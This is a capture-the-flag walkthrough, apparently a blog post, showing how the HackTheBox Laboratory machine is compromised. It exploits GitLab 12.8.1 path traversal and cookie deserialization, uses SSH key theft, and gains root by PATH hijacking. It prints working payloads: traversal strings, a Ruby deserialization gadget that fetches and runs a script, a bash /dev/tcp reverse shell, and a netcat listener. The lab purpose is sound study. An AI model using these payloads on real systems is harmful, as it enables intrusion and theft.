Laboratory HackTheBox WalkThrough
This is Laboratory HackTheBox machine walkthrough. In this writeup, I have demonstrated step-by-step how I rooted Laboratory HackTheBox
machine. Before starting let us know something about this machine. It is Linux OS
box with IP address 10.10.10.216
and difficulty easy
assigned by its maker. Although it is assigned easy difficulty but in reality it is a medium
level box.
First of all connect your PC with HackTheBox VPN
and make sure your connectivity with Laboratory machine by pinging its IP 10.10.10.216. If all goes correct then start hacking. As usual, I started by scanning the machine. Scanning gives us an idea how we have to proceed further. Like, it helps in banner grabbing
the services running over different ports and sometimes it helps in vulnerability assessment also. I have used nmap
for this task and the result is given below:-
Scanning
$ nmap -sC -sV -oN laboratory.nmap 10.10.10.216
$ cat laboratory.nmap
Nmap found port 22
, 80
and 443
as open. OpenSSH
on port 22, Apache2
web server on port 80 and apache2 over SSL
on port 443 are running. Enumeration on port 22 is useless until we get some login credentials. Also OpenSSH 8.2p1
version is not vulnerable to any major exploit that will give us shell so moved forward for enumeration on port 80 and 443.
Since apache2 is running on port 80 and 443 so we should have some websites running over these ports and they can be accessed at URLs http://10.10.10.216 & https://10.10.10.216 respectively. Also, there are two subdomains laboratory.htb
& git.laboratory.htb
listed by nmap. So before accessing these URLs let us add these subdomains to our hosts
file. The hosts file is present in the directory /etc/
.
Hosts File After Modification
$ cat /etc/hosts
When I visited http://laboratory.htb it redirected me to https://laboratory.htb/. There is a static website
on this URL and its home page has three users namely dexter
, dee
& anonymous
. These users can be helpful in our further enumeration so added them in my cherry tree notes.
Ongoing to https://git.laboratory.htb/ redirected to https://git.laboratory.htb/users/sign_in. Gitlab Community Edition
is installed here.
Here I registered with some fake credentials and after registration got redirected to user’s dashboard. After some enumeration got a link https://git.laboratory.htb/help which reveals that the installed Community edition
is of version 12.8.1
.
Soon I get information about any application and its version then immediately I search for exploit for that version. Did the same this time too and found that GitLab EE/CE 8.5
to 12.9
is vulnerable to a path traversal
attack when moving an issue between projects. Check this issue on GitLab.
So to exploit this vulnerability a/c to above report follow the given steps.
1. Create Project1
2. Create Project2
3. Add issue1
in project2
with the given payload in the Description
section.
4. Move this issue1
to Project1
.
5. The requested file in the Payload will be copied to the Project1
.
6. Now download the requested file.
7. Follow the same step to download secrets.yml
file by creating issue2
in Project2
.
Creating Projects
Click on New project
by going to URL https://git.laboratory.htb/dashboard/projects
Under Project name field fill project1
and under Project description fill This is Project 1
. Leave remaining field as default and click on create project
button.
Follow the same above steps to create project2
.
Our project1
and project2
have been created now. Let us create issue1
in Project2
.
Creating Issue1 and Downloading Passwd File
Click on Issues
on left navigation bar or simply go to URL
https://git.laboratory.htb/test1/project2/issues. Then click on New issue
to create new issue.
Under Title field fill Issue1
and under Description field put following payload and click on Submit issue
.
![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../../etc/passwd)
Then select Move issue
at bottom most right corner and select test1/project1
and finally click on Move
to move this issue to project1.
Once your issue is moved to project1
you can see an attachment of passwd
below Issue1
. Click on the attachment of the password to download it.
Now we have confirmed that we can read Operating System file by this vulnerability.
Let us download secrets.yml
file from the directory /opt/gitlab/embedded/service/gitlab-rails/config/
using this vulnerability. We are downloading this file because it contains some secret information which is required in further exploitation.
Creating Issue2 and Downloading secrets.yml File
Click on Issues
and click on New issue
to create new issue.
This time in Title field fill Issue2
and under Description field put the following payload
![a](/uploads/11111111111111111111111111111111/../../../../../../../../../../../../../../opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml)
Click on Move
to move the Issue2
to project1
.
Download secrets.yml
file from the attachment.
From above file we require secret_key_base code only.
secret_key_base: 3231f54b33e0c1ce998113c083528460153b19542a70173b4458a21e845ffa33cc45ca7486fc8ebb6b2727cc02feea4c3adbe2cc7b65003510e4031e164137b3
According to this hackerone report we require a self-hosted GitLab to capture Marshalled payload
. For this I am going to install GitLab image in my docker as a container. If you don’t have docker installed in your Kali then use the command $sudo apt install docker.io
to install it. Then enter the following commands to install and configure GitLab in it.
$ sudo docker pull gitlab/gitlab-ee:12.8.1-ee.0
$ sudo docker run -it gitlab/gitlab-ee:12.8.1-ee.0 bash
$ /opt/gitlab/embedded/bin/runsvdir-start &
You may get error in last command just ignore it and let us reconfigure the GitLab.
While I was reconfiguring my GitLab container my Kali machine goes on crashing again and again so unfortunately I had to use PwnBox
of HackTheBox. This is the reason you can see my Container ID is different in just above and below screenshots.
# gitlab-ctl reconfigure
Once we have reconfigured our GitLab we need to change secrets.yml
file at /opt/gitlab/embedded/service/gitlab-rails/config/
. Simply replace secret_key_base
of this file with the secret_key_base which you have copied before by creating Issue2. The final code snippet will look something like below.
# nano /opt/gitlab/embedded/service/gitlab-rails/config/secrets.yml
We have changed secrets.yml file let us create Marshalled Payload by putting following payloads in gitlab-rails console one by one.
request = ActionDispatch::Request.new(Rails.application.env_config)request.env["action_dispatch.cookies_serializer"] = :marshalcookies = request.cookie_jarerb = ERB.new("<%= `curl 10.10.14.3/shell.sh -o /tmp/shell.sh && chmod 777 /tmp/shell.sh && bash /tmp/shell.sh` %>")depr = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new(erb, :result, "@result", ActiveSupport::Deprecation.new)cookies.signed[:cookie] = deprputs cookies[:cookie]
Simply start gitlab-rails console by the command $gitlab-rails console
and put above payload one by one.
We have got a marshalled payload. You can assume it as a cookie. Now using this cookie we will make request to https://git.laboratory.htb/users/sign_in and this will download and run shell.sh
file from our local python server
.
Getting User Shell
So to get reverse shell follow the given steps.
1. Create shell.sh file in 1st window with the below reverse shell payload and start python3 server to host this file.
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.3/9001 0>&1
2. Start netcat listener in 2nd window to receive the connection.
3. Execute the following command in 3rd shell.
Don’t forget to replace experimentation_subject_id
with your Marshalled Payload which you have grabbed in above steps in the following $curl
command. If all goes correct you will get reverse connection on your netcat listener.
$curl -k 'https://git.laboratory.htb/users/sign_in' -b "experimentation_subject_id=BAhvOkBBY3RpdmVTdXBwb3J0OjpEZXByZWNhdGlvbjo6RGVwcmVjYXRlZEluc3RhbmNlVmFyaWFibGVQcm94eQk6DkBpbnN0YW5jZW86CEVSQgs6EEBzYWZlX2xldmVsMDoJQHNyY0kiAZcjY29kaW5nOlVURi04Cl9lcmJvdXQgPSArJyc7IF9lcmJvdXQuPDwoKCBgY3VybCAxMC4xMC4xNC4zL3NoZWxsLnNoIC1vIC90bXAvc2hlbGwuc2ggJiYgY2htb2QgNzc3IC90bXAvc2hlbGwuc2ggJiYgYmFzaCAvdG1wL3NoZWxsLnNoYCApLnRvX3MpOyBfZXJib3V0BjoGRUY6DkBlbmNvZGluZ0l1Og1FbmNvZGluZwpVVEYtOAY7CkY6E0Bmcm96ZW5fc3RyaW5nMDoOQGZpbGVuYW1lMDoMQGxpbmVub2kAOgxAbWV0aG9kOgtyZXN1bHQ6CUB2YXJJIgxAcmVzdWx0BjsKVDoQQGRlcHJlY2F0b3JJdTofQWN0aXZlU3VwcG9ydDo6RGVwcmVjYXRpb24ABjsKVA==--11bfe275f965acf20c229ddd6e337525f22802f5"
#python3 -m http.server 80
#rlwrap nc -nvlp 9001
$ whoami && id
We have successfully got user shell. Let us upgrade the shell to fully qualified Linux shell so that we can run more advanced Linux command on it.
Upgrading Shell
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
$ export TERM=xterm
When I tried to run some normal Linux command like $ifconfig
it failed by giving not found error. When I tried to check for /home/
folder but no user is present. Then I checked the running processes using the command $ps
and found that we are actually inside GitLab docker container
.
Since we are inside the docker container of GitLab we can spawn gitlab-rails console
and check who is admin user by the command $u = User.where(id:1).first
. We can also change the password of admin user through gitlab-rails console. Check this article for more info on resetting password.
Identifying Admin User & Changing Its Password
$ gitlab-rails console
irb(main):001:0> u = User.where(id:1).first
irb(main):002:0> u.password = 'newpassword'
irb(main):003:0> u.password_confirmation = 'newpassword'
irb(main):004:0> u.save!
irb(main):005:0> exit
From above we found that dexter
is admin user and we have changed its password to newpassword
. Let us login with user dexter
: newpassword
at https://git.laboratory.htb/users/sign_in to see what is present in its account.
After some enumeration after login into dexter’s account I found SSH private key
of dexter at URL https://git.laboratory.htb/dexter/securedocker/-/blob/master/dexter/.ssh/id_rsa. Let us download it and SSH into Laboratory machine.
$ nano id_rsa
$ chmod 400 id_rsa
$ ssh -i id_rsa [email protected]
$ whoami && id
We have successfully logged in into dexter account. Let us grab user
flag.
Capture User Flag
$ cat user.txt
Privilege Escalation
To escalate privilege to root we have to first find a privilege escalation vector using which we can escalate privilege. We can either use some post exploitation enumeration script for this task or manually enumerate the box for attack vectors.
Finding PrivEsc Vector
When I tried to list all SUID binaries
of the laboratory machine I found a custom SUID binary docker-security
which is not present by default in Linux Systems. This can be used to escalate privilege by Path Hijacking
or we can say Privilege escalation using Custom SUID exploitation
can be done.
$ find / -perm -4000 -type f 2>/dev/null | grep docker
$ ls -la /usr/local/bin/docker-security
When I tried to run $docker-security
it gave no result. Then I started $pspy
(a process monitoring tool) in other window and execute $docker-security
in other window to monitor the process. I found that this executable is using $chmod
command without specifying the full path /usr/bin/chmod
. We can exploit this vulnerability by Path Hijacking
. So here our PrivEsc Vector is Privilege Escalation using Path Hijacking. Check similar privilege escalation machine here.
Getting Root Shell
So to get root shell do the following.
$ cd /tmp
$ echo "/bin/sh" > chmod
$ export PATH=$(pwd):$PATH
$ chmod +x chmod
$ /usr/local/bin/docker-security
# whoami && id
We are root now let us capture root flag.
Capture Root Flag
# cat /root/root.txt
This was how I rooted to Laboratory HackTheBox machine. Learnt a lot during this walkthrough. Hope you have also learnt some new things. Thanks for reading this writeup. Share your experience in the comment section. Want to give any suggestion about the writeup feel free to write us at [email protected]. Check out my latest articles at https://ethicalhacs.com/.